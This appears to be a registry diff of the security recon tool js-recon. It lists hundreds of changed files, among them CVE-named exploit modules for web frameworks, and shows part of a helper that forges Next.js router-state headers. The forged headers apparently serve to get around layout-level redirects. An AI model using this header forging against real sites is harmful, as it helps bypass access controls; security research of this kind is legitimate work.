@js-recon/js-recon 1.4.3 → 2.0.1-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (461) hide show
  1. package/.claude-sync/sync.sh +1 -1
  2. package/.github/workflows/build-and-prettify.yaml +55 -25
  3. package/.github/workflows/codeql.yml +33 -0
  4. package/.github/workflows/exploit-smoke-test.yaml +160 -0
  5. package/.github/workflows/framework-detection-smoke-test.yaml +135 -0
  6. package/.github/workflows/plumber.yml +20 -0
  7. package/.github/workflows/promote-js-recon.yml +5 -3
  8. package/.github/workflows/publish-js-recon.yml +6 -1
  9. package/.github/workflows/rules-smoke-test.yaml +15 -7
  10. package/.nvmrc +1 -0
  11. package/.plumber.yaml +151 -0
  12. package/CHANGELOG.md +54 -0
  13. package/CONTRIBUTING.md +32 -0
  14. package/Dockerfile +1 -0
  15. package/README.md +55 -2
  16. package/SECURITY.md +1 -1
  17. package/build/analyze/engine/astEngine.js +10 -9
  18. package/build/analyze/engine/astEngine.js.map +1 -1
  19. package/build/analyze/engine/csMastSEngine.js +6 -6
  20. package/build/analyze/engine/csMastSEngine.js.map +1 -1
  21. package/build/analyze/engine/index.js +1 -1
  22. package/build/analyze/engine/index.js.map +1 -1
  23. package/build/analyze/engine/requestEngine.js +6 -6
  24. package/build/analyze/engine/requestEngine.js.map +1 -1
  25. package/build/analyze/helpers/determineCompatibleVersion.js +70 -0
  26. package/build/analyze/helpers/determineCompatibleVersion.js.map +1 -0
  27. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js +9 -3
  28. package/build/analyze/helpers/engineHelpers/findMemberExpressionAssignment.js.map +1 -1
  29. package/build/analyze/helpers/initRules.js +42 -24
  30. package/build/analyze/helpers/initRules.js.map +1 -1
  31. package/build/analyze/helpers/outputHelper.js +3 -3
  32. package/build/analyze/helpers/outputHelper.js.map +1 -1
  33. package/build/analyze/helpers/schemas.js +1 -0
  34. package/build/analyze/helpers/schemas.js.map +1 -1
  35. package/build/analyze/helpers/validate.js +9 -5
  36. package/build/analyze/helpers/validate.js.map +1 -1
  37. package/build/analyze/index.js +26 -16
  38. package/build/analyze/index.js.map +1 -1
  39. package/build/cliProgram.js +710 -0
  40. package/build/cliProgram.js.map +1 -0
  41. package/build/completion/index.js +245 -339
  42. package/build/completion/index.js.map +1 -1
  43. package/build/completion/introspect.js +17 -0
  44. package/build/completion/introspect.js.map +1 -0
  45. package/build/config/applicationConfig.js +494 -0
  46. package/build/config/applicationConfig.js.map +1 -0
  47. package/build/cs_mast/index.js +18 -17
  48. package/build/cs_mast/index.js.map +1 -1
  49. package/build/endpoints/gen_report/gen_json.js +2 -2
  50. package/build/endpoints/gen_report/gen_json.js.map +1 -1
  51. package/build/endpoints/gen_report/utility/iterate_n_store.js +1 -1
  52. package/build/endpoints/gen_report/utility/iterate_n_store.js.map +1 -1
  53. package/build/endpoints/index.js +12 -12
  54. package/build/endpoints/index.js.map +1 -1
  55. package/build/endpoints/next_js/client_jsFilesHref.js +3 -3
  56. package/build/endpoints/next_js/client_jsFilesHref.js.map +1 -1
  57. package/build/endpoints/next_js/client_jsonParse.js +4 -4
  58. package/build/endpoints/next_js/client_jsonParse.js.map +1 -1
  59. package/build/endpoints/next_js/client_mappedJsonFile.js +6 -6
  60. package/build/endpoints/next_js/client_mappedJsonFile.js.map +1 -1
  61. package/build/endpoints/next_js/client_subsequentRequests.js +5 -5
  62. package/build/endpoints/next_js/client_subsequentRequests.js.map +1 -1
  63. package/build/exploit/angular/cve-2026-68945.js +61 -0
  64. package/build/exploit/angular/cve-2026-68945.js.map +1 -0
  65. package/build/exploit/index.js +60 -0
  66. package/build/exploit/index.js.map +1 -0
  67. package/build/exploit/next/cve-2025-29927.js +65 -0
  68. package/build/exploit/next/cve-2025-29927.js.map +1 -0
  69. package/build/exploit/next/cve-2026-64645.js +51 -0
  70. package/build/exploit/next/cve-2026-64645.js.map +1 -0
  71. package/build/exploit/nuxt/cve-2026-71315.js +47 -0
  72. package/build/exploit/nuxt/cve-2026-71315.js.map +1 -0
  73. package/build/exploit/nuxt/cve-2026-71320.js +114 -0
  74. package/build/exploit/nuxt/cve-2026-71320.js.map +1 -0
  75. package/build/exploit/react/cve-2025-55182.js +116 -0
  76. package/build/exploit/react/cve-2025-55182.js.map +1 -0
  77. package/build/exploit/registry/cveRegistry.js +115 -0
  78. package/build/exploit/registry/cveRegistry.js.map +1 -0
  79. package/build/exploit/types.js +2 -0
  80. package/build/exploit/types.js.map +1 -0
  81. package/build/exploit/utility/compareResponses.js +29 -0
  82. package/build/exploit/utility/compareResponses.js.map +1 -0
  83. package/build/exploit/utility/outputHelper.js +22 -0
  84. package/build/exploit/utility/outputHelper.js.map +1 -0
  85. package/build/exploit/utility/rawRequest.js +54 -0
  86. package/build/exploit/utility/rawRequest.js.map +1 -0
  87. package/build/exploit/utility/sandboxRce.js +49 -0
  88. package/build/exploit/utility/sandboxRce.js.map +1 -0
  89. package/build/exploit/utility/toEngineOutput.js +28 -0
  90. package/build/exploit/utility/toEngineOutput.js.map +1 -0
  91. package/build/exploit/utility/wsClient.js +78 -0
  92. package/build/exploit/utility/wsClient.js.map +1 -0
  93. package/build/exploit/vite/cve-2025-30208.js +44 -0
  94. package/build/exploit/vite/cve-2025-30208.js.map +1 -0
  95. package/build/exploit/vite/cve-2026-39363.js +60 -0
  96. package/build/exploit/vite/cve-2026-39363.js.map +1 -0
  97. package/build/fingerprint/index.js +11 -21
  98. package/build/fingerprint/index.js.map +1 -1
  99. package/build/globalConfig.js +2 -2
  100. package/build/globalConfig.js.map +1 -1
  101. package/build/index.js +16 -555
  102. package/build/index.js.map +1 -1
  103. package/build/lazyLoad/angular/angular_getFromPageSource.js +3 -3
  104. package/build/lazyLoad/angular/angular_getFromPageSource.js.map +1 -1
  105. package/build/lazyLoad/downloadFilesUtil.js +51 -40
  106. package/build/lazyLoad/downloadFilesUtil.js.map +1 -1
  107. package/build/lazyLoad/downloadQueue.js +154 -50
  108. package/build/lazyLoad/downloadQueue.js.map +1 -1
  109. package/build/lazyLoad/downloadResponse.js +113 -0
  110. package/build/lazyLoad/downloadResponse.js.map +1 -0
  111. package/build/lazyLoad/generic/generic_crawlPages.js +186 -0
  112. package/build/lazyLoad/generic/generic_crawlPages.js.map +1 -0
  113. package/build/lazyLoad/generic/generic_downloadFiles.js +81 -0
  114. package/build/lazyLoad/generic/generic_downloadFiles.js.map +1 -0
  115. package/build/lazyLoad/generic/generic_extractLinks.js +79 -0
  116. package/build/lazyLoad/generic/generic_extractLinks.js.map +1 -0
  117. package/build/lazyLoad/generic/generic_getScriptTags.js +152 -0
  118. package/build/lazyLoad/generic/generic_getScriptTags.js.map +1 -0
  119. package/build/lazyLoad/generic/generic_importMapDiscovery.js +87 -0
  120. package/build/lazyLoad/generic/generic_importMapDiscovery.js.map +1 -0
  121. package/build/lazyLoad/generic/generic_resolveScope.js +61 -0
  122. package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -0
  123. package/build/lazyLoad/generic/generic_scanAttributesForJs.js +122 -0
  124. package/build/lazyLoad/generic/generic_scanAttributesForJs.js.map +1 -0
  125. package/build/lazyLoad/generic/generic_stringsDiscovery.js +103 -0
  126. package/build/lazyLoad/generic/generic_stringsDiscovery.js.map +1 -0
  127. package/build/lazyLoad/generic/generic_webpackChunkPaths.js +56 -0
  128. package/build/lazyLoad/generic/generic_webpackChunkPaths.js.map +1 -0
  129. package/build/lazyLoad/globals.js +35 -0
  130. package/build/lazyLoad/globals.js.map +1 -1
  131. package/build/lazyLoad/index.js +311 -175
  132. package/build/lazyLoad/index.js.map +1 -1
  133. package/build/lazyLoad/methodFilter.js +2 -0
  134. package/build/lazyLoad/methodFilter.js.map +1 -1
  135. package/build/lazyLoad/next_js/NextJsCrawler.js +39 -14
  136. package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
  137. package/build/lazyLoad/next_js/next_GetJSScript.js +3 -3
  138. package/build/lazyLoad/next_js/next_GetJSScript.js.map +1 -1
  139. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js +4 -4
  140. package/build/lazyLoad/next_js/next_GetLazyResourcesBuildManifestJs.js.map +1 -1
  141. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +21 -20
  142. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
  143. package/build/lazyLoad/next_js/next_SubsequentRequests.js +100 -99
  144. package/build/lazyLoad/next_js/next_SubsequentRequests.js.map +1 -1
  145. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js +1 -1
  146. package/build/lazyLoad/next_js/next_bruteForceJsFiles.js.map +1 -1
  147. package/build/lazyLoad/next_js/next_buildId.js +2 -2
  148. package/build/lazyLoad/next_js/next_buildId.js.map +1 -1
  149. package/build/lazyLoad/next_js/next_getClientSidePaths.js +2 -2
  150. package/build/lazyLoad/next_js/next_getClientSidePaths.js.map +1 -1
  151. package/build/lazyLoad/next_js/next_parseLayoutJs.js +6 -6
  152. package/build/lazyLoad/next_js/next_parseLayoutJs.js.map +1 -1
  153. package/build/lazyLoad/next_js/next_promiseResolve.js +1 -1
  154. package/build/lazyLoad/next_js/next_promiseResolve.js.map +1 -1
  155. package/build/lazyLoad/next_js/next_routerStateForge.js +341 -0
  156. package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -0
  157. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js +1 -1
  158. package/build/lazyLoad/next_js/next_scriptTagsSubsequentRequests.js.map +1 -1
  159. package/build/lazyLoad/next_js/next_serverActionIdScan.js +77 -0
  160. package/build/lazyLoad/next_js/next_serverActionIdScan.js.map +1 -0
  161. package/build/lazyLoad/nuxt_js/nuxt_astParse.js +15 -13
  162. package/build/lazyLoad/nuxt_js/nuxt_astParse.js.map +1 -1
  163. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js +2 -2
  164. package/build/lazyLoad/nuxt_js/nuxt_getBuildsManifest.js.map +1 -1
  165. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js +3 -3
  166. package/build/lazyLoad/nuxt_js/nuxt_getFromPageSource.js.map +1 -1
  167. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +2 -2
  168. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
  169. package/build/lazyLoad/outputPath.js +92 -0
  170. package/build/lazyLoad/outputPath.js.map +1 -0
  171. package/build/lazyLoad/react/react_followImports.js +15 -5
  172. package/build/lazyLoad/react/react_followImports.js.map +1 -1
  173. package/build/lazyLoad/react/react_getScriptTags.js +11 -6
  174. package/build/lazyLoad/react/react_getScriptTags.js.map +1 -1
  175. package/build/lazyLoad/react/react_sourcemapUrls.js +3 -2
  176. package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
  177. package/build/lazyLoad/react/react_webpackChunkPaths.js +12 -203
  178. package/build/lazyLoad/react/react_webpackChunkPaths.js.map +1 -1
  179. package/build/lazyLoad/researchUtils.js +15 -0
  180. package/build/lazyLoad/researchUtils.js.map +1 -0
  181. package/build/lazyLoad/shared/webpackChunkParsers.js +218 -0
  182. package/build/lazyLoad/shared/webpackChunkParsers.js.map +1 -0
  183. package/build/lazyLoad/stagnation/stagnationMonitor.js +63 -0
  184. package/build/lazyLoad/stagnation/stagnationMonitor.js.map +1 -0
  185. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js +1 -0
  186. package/build/lazyLoad/svelte/svelte_discoverPagesFromJs.js.map +1 -1
  187. package/build/lazyLoad/svelte/svelte_getFromPageSource.js +5 -5
  188. package/build/lazyLoad/svelte/svelte_getFromPageSource.js.map +1 -1
  189. package/build/lazyLoad/svelte/svelte_getVersionJson.js +2 -2
  190. package/build/lazyLoad/svelte/svelte_getVersionJson.js.map +1 -1
  191. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js +6 -6
  192. package/build/lazyLoad/svelte/svelte_recursivePageCrawl.js.map +1 -1
  193. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +2 -2
  194. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
  195. package/build/lazyLoad/techDetect/checkAngularJS.js +1 -1
  196. package/build/lazyLoad/techDetect/checkAngularJS.js.map +1 -1
  197. package/build/lazyLoad/techDetect/checkNuxtJS.js +3 -3
  198. package/build/lazyLoad/techDetect/checkNuxtJS.js.map +1 -1
  199. package/build/lazyLoad/techDetect/checkSvelte.js +0 -1
  200. package/build/lazyLoad/techDetect/checkSvelte.js.map +1 -1
  201. package/build/lazyLoad/techDetect/checkVueJS.js +6 -6
  202. package/build/lazyLoad/techDetect/checkVueJS.js.map +1 -1
  203. package/build/lazyLoad/techDetect/index.js +106 -60
  204. package/build/lazyLoad/techDetect/index.js.map +1 -1
  205. package/build/lazyLoad/vue/vue_RuntimeJs.js +20 -15
  206. package/build/lazyLoad/vue/vue_RuntimeJs.js.map +1 -1
  207. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js +10 -5
  208. package/build/lazyLoad/vue/vue_SingleJsFileOnHome.js.map +1 -1
  209. package/build/lazyLoad/vue/vue_discoverJsFiles.js +20 -17
  210. package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
  211. package/build/lazyLoad/vue/vue_getClientSidePaths.js +70 -46
  212. package/build/lazyLoad/vue/vue_getClientSidePaths.js.map +1 -1
  213. package/build/lazyLoad/vue/vue_jsImports.js +3 -2
  214. package/build/lazyLoad/vue/vue_jsImports.js.map +1 -1
  215. package/build/lazyLoad/vue/vue_pageSrc.js +3 -2
  216. package/build/lazyLoad/vue/vue_pageSrc.js.map +1 -1
  217. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +6 -5
  218. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
  219. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +10 -21
  220. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
  221. package/build/lazyLoad/vue/vue_severalJsFilesHome.js +5 -4
  222. package/build/lazyLoad/vue/vue_severalJsFilesHome.js.map +1 -1
  223. package/build/lazyLoad/vue/vue_stringJsFiles.js +28 -25
  224. package/build/lazyLoad/vue/vue_stringJsFiles.js.map +1 -1
  225. package/build/lazyLoad/vue/vue_viteMapDeps.js +8 -2
  226. package/build/lazyLoad/vue/vue_viteMapDeps.js.map +1 -1
  227. package/build/load/index.js +8 -7
  228. package/build/load/index.js.map +1 -1
  229. package/build/map/angular_js/getAngularConnections.js +6 -6
  230. package/build/map/angular_js/getAngularConnections.js.map +1 -1
  231. package/build/map/graphql/resolveGraphql.js +6 -6
  232. package/build/map/graphql/resolveGraphql.js.map +1 -1
  233. package/build/map/index.js +17 -17
  234. package/build/map/index.js.map +1 -1
  235. package/build/map/interactive-mode/commandHandler.js +278 -0
  236. package/build/map/interactive-mode/commandHandler.js.map +1 -0
  237. package/build/map/interactive-mode/commandHelpers.js +189 -0
  238. package/build/map/interactive-mode/commandHelpers.js.map +1 -0
  239. package/build/map/interactive-mode/esqueryGen.js.map +1 -0
  240. package/build/map/interactive-mode/helpMenu.js +11 -0
  241. package/build/map/interactive-mode/helpMenu.js.map +1 -0
  242. package/build/map/interactive-mode/inputPatch.js.map +1 -0
  243. package/build/map/interactive-mode/interactive.js +71 -0
  244. package/build/map/interactive-mode/interactive.js.map +1 -0
  245. package/build/map/interactive-mode/keybindings.js.map +1 -0
  246. package/build/map/interactive-mode/printer.js.map +1 -0
  247. package/build/map/interactive-mode/ui.js.map +1 -0
  248. package/build/map/next_js/getAxiosInstances.js +5 -5
  249. package/build/map/next_js/getAxiosInstances.js.map +1 -1
  250. package/build/map/next_js/getExports.js +4 -4
  251. package/build/map/next_js/getExports.js.map +1 -1
  252. package/build/map/next_js/getFetchInstances.js +10 -10
  253. package/build/map/next_js/getFetchInstances.js.map +1 -1
  254. package/build/map/next_js/getTurbopackConnections.js +8 -8
  255. package/build/map/next_js/getTurbopackConnections.js.map +1 -1
  256. package/build/map/next_js/getWebpackConnections.js +27 -16
  257. package/build/map/next_js/getWebpackConnections.js.map +1 -1
  258. package/build/map/next_js/interactive.js +3 -65
  259. package/build/map/next_js/interactive.js.map +1 -1
  260. package/build/map/next_js/interactive_helpers/commandHandler.js +38 -290
  261. package/build/map/next_js/interactive_helpers/commandHandler.js.map +1 -1
  262. package/build/map/next_js/interactive_helpers/commandHelpers.js +0 -184
  263. package/build/map/next_js/interactive_helpers/commandHelpers.js.map +1 -1
  264. package/build/map/next_js/interactive_helpers/helpMenu.js +2 -10
  265. package/build/map/next_js/interactive_helpers/helpMenu.js.map +1 -1
  266. package/build/map/next_js/resolveAxios.js +6 -6
  267. package/build/map/next_js/resolveAxios.js.map +1 -1
  268. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js +4 -4
  269. package/build/map/next_js/resolveAxiosHelpers/findAxiosClients.js.map +1 -1
  270. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js +2 -2
  271. package/build/map/next_js/resolveAxiosHelpers/findAxiosInstance.js.map +1 -1
  272. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js +5 -5
  273. package/build/map/next_js/resolveAxiosHelpers/findCrossChunkParams.js.map +1 -1
  274. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js +10 -10
  275. package/build/map/next_js/resolveAxiosHelpers/handleAxiosCreate.js.map +1 -1
  276. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js +13 -9
  277. package/build/map/next_js/resolveAxiosHelpers/handleZDotCreate.js.map +1 -1
  278. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js +12 -8
  279. package/build/map/next_js/resolveAxiosHelpers/processAxiosCall.js.map +1 -1
  280. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js +12 -8
  281. package/build/map/next_js/resolveAxiosHelpers/processDirectAxiosCall.js.map +1 -1
  282. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js +11 -11
  283. package/build/map/next_js/resolveAxiosHelpers/processExportedEndpoints.js.map +1 -1
  284. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js +16 -16
  285. package/build/map/next_js/resolveAxiosHelpers/traceAxiosInstanceExports.js.map +1 -1
  286. package/build/map/next_js/resolveFetch.js +23 -23
  287. package/build/map/next_js/resolveFetch.js.map +1 -1
  288. package/build/map/next_js/resolveNewRequest.js +10 -10
  289. package/build/map/next_js/resolveNewRequest.js.map +1 -1
  290. package/build/map/next_js/resolveServerActions.js +4 -4
  291. package/build/map/next_js/resolveServerActions.js.map +1 -1
  292. package/build/map/next_js/utils.js +8 -2
  293. package/build/map/next_js/utils.js.map +1 -1
  294. package/build/map/react_js/getReactConnections.js +21 -14
  295. package/build/map/react_js/getReactConnections.js.map +1 -1
  296. package/build/map/svelte_js/interactive.js +3 -54
  297. package/build/map/svelte_js/interactive.js.map +1 -1
  298. package/build/map/vue_js/getViteConnections.js +23 -16
  299. package/build/map/vue_js/getViteConnections.js.map +1 -1
  300. package/build/map/vue_js/interactive.js +3 -63
  301. package/build/map/vue_js/interactive.js.map +1 -1
  302. package/build/map/vue_js/interactive_helpers/commandHandler.js +34 -283
  303. package/build/map/vue_js/interactive_helpers/commandHandler.js.map +1 -1
  304. package/build/map/vue_js/interactive_helpers/helpMenu.js +2 -10
  305. package/build/map/vue_js/interactive_helpers/helpMenu.js.map +1 -1
  306. package/build/map/vue_js/taint_utils.js +1 -1
  307. package/build/map/vue_js/taint_utils.js.map +1 -1
  308. package/build/map/vue_js/vue_resolveFetch.js +12 -12
  309. package/build/map/vue_js/vue_resolveFetch.js.map +1 -1
  310. package/build/map/vue_js/vue_resolveHttpClient.js +18 -18
  311. package/build/map/vue_js/vue_resolveHttpClient.js.map +1 -1
  312. package/build/map/vue_js/vue_resolveXhr.js +11 -11
  313. package/build/map/vue_js/vue_resolveXhr.js.map +1 -1
  314. package/build/mcp/chatOneShot.js +7 -7
  315. package/build/mcp/chatOneShot.js.map +1 -1
  316. package/build/mcp/claudeCodeCreds.js +5 -5
  317. package/build/mcp/claudeCodeCreds.js.map +1 -1
  318. package/build/mcp/cli.js +36 -35
  319. package/build/mcp/cli.js.map +1 -1
  320. package/build/mcp/config.js +4 -4
  321. package/build/mcp/config.js.map +1 -1
  322. package/build/mcp/index.js +7 -7
  323. package/build/mcp/index.js.map +1 -1
  324. package/build/mcp/mcpServer.js +3 -2
  325. package/build/mcp/mcpServer.js.map +1 -1
  326. package/build/mcp/skills.js +1 -0
  327. package/build/mcp/skills.js.map +1 -1
  328. package/build/mcp/tools.js +5 -4
  329. package/build/mcp/tools.js.map +1 -1
  330. package/build/proxy/checkFeasibility.js +8 -4
  331. package/build/proxy/checkFeasibility.js.map +1 -1
  332. package/build/proxy/checkFireWallBlocking.js +23 -13
  333. package/build/proxy/checkFireWallBlocking.js.map +1 -1
  334. package/build/proxy/detectBlockedResponse.js +205 -0
  335. package/build/proxy/detectBlockedResponse.js.map +1 -0
  336. package/build/proxy/genReq.js +434 -127
  337. package/build/proxy/genReq.js.map +1 -1
  338. package/build/proxy/index.js +3 -3
  339. package/build/proxy/index.js.map +1 -1
  340. package/build/proxy/oxylabsFallback.js +110 -0
  341. package/build/proxy/oxylabsFallback.js.map +1 -0
  342. package/build/proxy/proxyFeasibilityRequest.js +11 -9
  343. package/build/proxy/proxyFeasibilityRequest.js.map +1 -1
  344. package/build/refactor/index.js +83 -79
  345. package/build/refactor/index.js.map +1 -1
  346. package/build/refactor/next/index.js +69 -26
  347. package/build/refactor/next/index.js.map +1 -1
  348. package/build/refactor/next/transform.js +11 -4
  349. package/build/refactor/next/transform.js.map +1 -1
  350. package/build/refactor/next/validator.js +7 -7
  351. package/build/refactor/next/validator.js.map +1 -1
  352. package/build/refactor/react/index.js +13 -13
  353. package/build/refactor/react/index.js.map +1 -1
  354. package/build/refactor/react/validator.js +7 -7
  355. package/build/refactor/react/validator.js.map +1 -1
  356. package/build/refactor/react-vite/index.js +3 -3
  357. package/build/refactor/react-vite/index.js.map +1 -1
  358. package/build/refactor/remote/hf-client.js +1 -0
  359. package/build/refactor/remote/hf-client.js.map +1 -1
  360. package/build/refactor/remote/version-detect.js +12 -12
  361. package/build/refactor/remote/version-detect.js.map +1 -1
  362. package/build/refactor/vue/index.js +6 -6
  363. package/build/refactor/vue/index.js.map +1 -1
  364. package/build/refactor/vue/vite.js +6 -6
  365. package/build/refactor/vue/vite.js.map +1 -1
  366. package/build/report/index.js +30 -8
  367. package/build/report/index.js.map +1 -1
  368. package/build/report/swaggerJacker.js +63 -0
  369. package/build/report/swaggerJacker.js.map +1 -0
  370. package/build/report/utility/genHtml.js +7 -7
  371. package/build/report/utility/genHtml.js.map +1 -1
  372. package/build/report/utility/populateDb/populateAnalysisFindings.js +2 -2
  373. package/build/report/utility/populateDb/populateAnalysisFindings.js.map +1 -1
  374. package/build/report/utility/populateDb/populateEndpoints.js +3 -3
  375. package/build/report/utility/populateDb/populateEndpoints.js.map +1 -1
  376. package/build/report/utility/populateDb/populateMappedJson.js +2 -2
  377. package/build/report/utility/populateDb/populateMappedJson.js.map +1 -1
  378. package/build/report/utility/populateDb/populateMappedOpenapi.js +3 -3
  379. package/build/report/utility/populateDb/populateMappedOpenapi.js.map +1 -1
  380. package/build/run/bundler-detect.js +45 -9
  381. package/build/run/bundler-detect.js.map +1 -1
  382. package/build/run/cancellableStep.js +27 -0
  383. package/build/run/cancellableStep.js.map +1 -0
  384. package/build/run/dashboard/dashboardHtml.js +150 -0
  385. package/build/run/dashboard/dashboardHtml.js.map +1 -0
  386. package/build/run/dashboard/fsBrowser.js +43 -0
  387. package/build/run/dashboard/fsBrowser.js.map +1 -0
  388. package/build/run/dashboard/server.js +123 -0
  389. package/build/run/dashboard/server.js.map +1 -0
  390. package/build/run/dashboard/state.js +97 -0
  391. package/build/run/dashboard/state.js.map +1 -0
  392. package/build/run/index.js +239 -204
  393. package/build/run/index.js.map +1 -1
  394. package/build/run/interruptHandler.js +18 -0
  395. package/build/run/interruptHandler.js.map +1 -1
  396. package/build/run/outputDirectory.js +377 -0
  397. package/build/run/outputDirectory.js.map +1 -0
  398. package/build/sourcemaps/index.js +116 -29
  399. package/build/sourcemaps/index.js.map +1 -1
  400. package/build/strings/index.js +38 -28
  401. package/build/strings/index.js.map +1 -1
  402. package/build/strings/openapi.js +4 -4
  403. package/build/strings/openapi.js.map +1 -1
  404. package/build/strings/permutate.js +4 -4
  405. package/build/strings/permutate.js.map +1 -1
  406. package/build/strings/secrets.js +1 -0
  407. package/build/strings/secrets.js.map +1 -1
  408. package/build/strings/trufflehog.js +66 -19
  409. package/build/strings/trufflehog.js.map +1 -1
  410. package/build/strings/trufflehogConfig.js +36 -0
  411. package/build/strings/trufflehogConfig.js.map +1 -0
  412. package/build/strings/trufflehogDownload.js +115 -0
  413. package/build/strings/trufflehogDownload.js.map +1 -0
  414. package/build/utility/ai.js +33 -4
  415. package/build/utility/ai.js.map +1 -1
  416. package/build/utility/banner.js +4 -3
  417. package/build/utility/banner.js.map +1 -1
  418. package/build/utility/configureSandbox.js +2 -2
  419. package/build/utility/configureSandbox.js.map +1 -1
  420. package/build/utility/downloadProgress.js +99 -0
  421. package/build/utility/downloadProgress.js.map +1 -0
  422. package/build/utility/globals.js +19 -11
  423. package/build/utility/globals.js.map +1 -1
  424. package/build/utility/heap.js +2 -1
  425. package/build/utility/heap.js.map +1 -1
  426. package/build/utility/makeReq.js +490 -257
  427. package/build/utility/makeReq.js.map +1 -1
  428. package/build/utility/openapiGenerator.js +2 -2
  429. package/build/utility/openapiGenerator.js.map +1 -1
  430. package/build/utility/printMsg.js +53 -0
  431. package/build/utility/printMsg.js.map +1 -0
  432. package/build/utility/progressLog.js +68 -7
  433. package/build/utility/progressLog.js.map +1 -1
  434. package/build/utility/resolvePath.js +2 -1
  435. package/build/utility/resolvePath.js.map +1 -1
  436. package/build/utility/ruleVersionMap.js +73 -0
  437. package/build/utility/ruleVersionMap.js.map +1 -0
  438. package/build/utility/targetInputs.js +177 -0
  439. package/build/utility/targetInputs.js.map +1 -0
  440. package/build/utility/urlUtils.js +37 -1
  441. package/build/utility/urlUtils.js.map +1 -1
  442. package/config.dist.yaml +251 -0
  443. package/contributing/testing.md +106 -0
  444. package/eslint.config.js +24 -0
  445. package/package.json +22 -5
  446. package/scripts/exploit-smoke-test.js +82 -0
  447. package/scripts/framework-detect-smoke-test.js +64 -0
  448. package/scripts/postinstall-completion.mjs +40 -0
  449. package/scripts/smoke-test.js +12 -0
  450. package/build/lazyLoad/downloadLoadedJsUtil.js +0 -98
  451. package/build/lazyLoad/downloadLoadedJsUtil.js.map +0 -1
  452. package/build/map/next_js/interactive_helpers/esqueryGen.js.map +0 -1
  453. package/build/map/next_js/interactive_helpers/inputPatch.js.map +0 -1
  454. package/build/map/next_js/interactive_helpers/keybindings.js.map +0 -1
  455. package/build/map/next_js/interactive_helpers/printer.js.map +0 -1
  456. package/build/map/next_js/interactive_helpers/ui.js.map +0 -1
  457. /package/build/map/{next_js/interactive_helpers → interactive-mode}/esqueryGen.js +0 -0
  458. /package/build/map/{next_js/interactive_helpers → interactive-mode}/inputPatch.js +0 -0
  459. /package/build/map/{next_js/interactive_helpers → interactive-mode}/keybindings.js +0 -0
  460. /package/build/map/{next_js/interactive_helpers → interactive-mode}/printer.js +0 -0
  461. /package/build/map/{next_js/interactive_helpers → interactive-mode}/ui.js +0 -0
@@ -0,0 +1,341 @@
1
+ var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
2
+ function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
3
+ return new (P || (P = Promise))(function (resolve, reject) {
4
+ function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
5
+ function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
6
+ function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
7
+ step((generator = generator.apply(thisArg, _arguments || [])).next());
8
+ });
9
+ };
10
+ import { createHash } from "node:crypto";
11
+ import rawRequest from "../../exploit/utility/rawRequest.js";
12
+ import { runWithConcurrency } from "../../utility/concurrency.js";
13
+ import { printMsg, MSG } from "../../utility/printMsg.js";
14
+ /** Marker Next.js embeds in a Flight payload when a layout/page calls redirect(). */
15
+ const NEXT_REDIRECT_MARKER = "NEXT_REDIRECT";
16
+ /** Converts one ancestor segment to its FlightRouterState wire representation. */
17
+ const toSegmentRepr = (segment) => typeof segment === "string" ? segment : [segment.paramName, segment.value, "d"];
18
+ /** The literal URL path value of an ancestor segment, regardless of representation. */
19
+ export const ancestorSegmentValue = (segment) => typeof segment === "string" ? segment : segment.value;
20
+ /**
21
+ * Builds the `Next-Router-State-Tree` header value: a URL-encoded FlightRouterState
22
+ * claiming every segment in `ancestorSegments` is already client-rendered, with the
23
+ * leaf segment either an ordinary `__PAGE__` node or (leafMode="metadata-only") a node
24
+ * flagged so Next.js only re-executes `generateMetadata()` for it. Mirrors the
25
+ * `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`.
26
+ */
27
+ export const buildStateTreeHeader = (ancestorSegments, leafMode = "page") => {
28
+ let node = leafMode === "metadata-only" ? ["__PAGE__", {}, null, "metadata-only"] : ["__PAGE__", {}];
29
+ for (let i = ancestorSegments.length - 1; i >= 0; i--) {
30
+ node = [toSegmentRepr(ancestorSegments[i]), { children: node }];
31
+ }
32
+ const tree = ["", { children: node }];
33
+ return encodeURIComponent(JSON.stringify(tree));
34
+ };
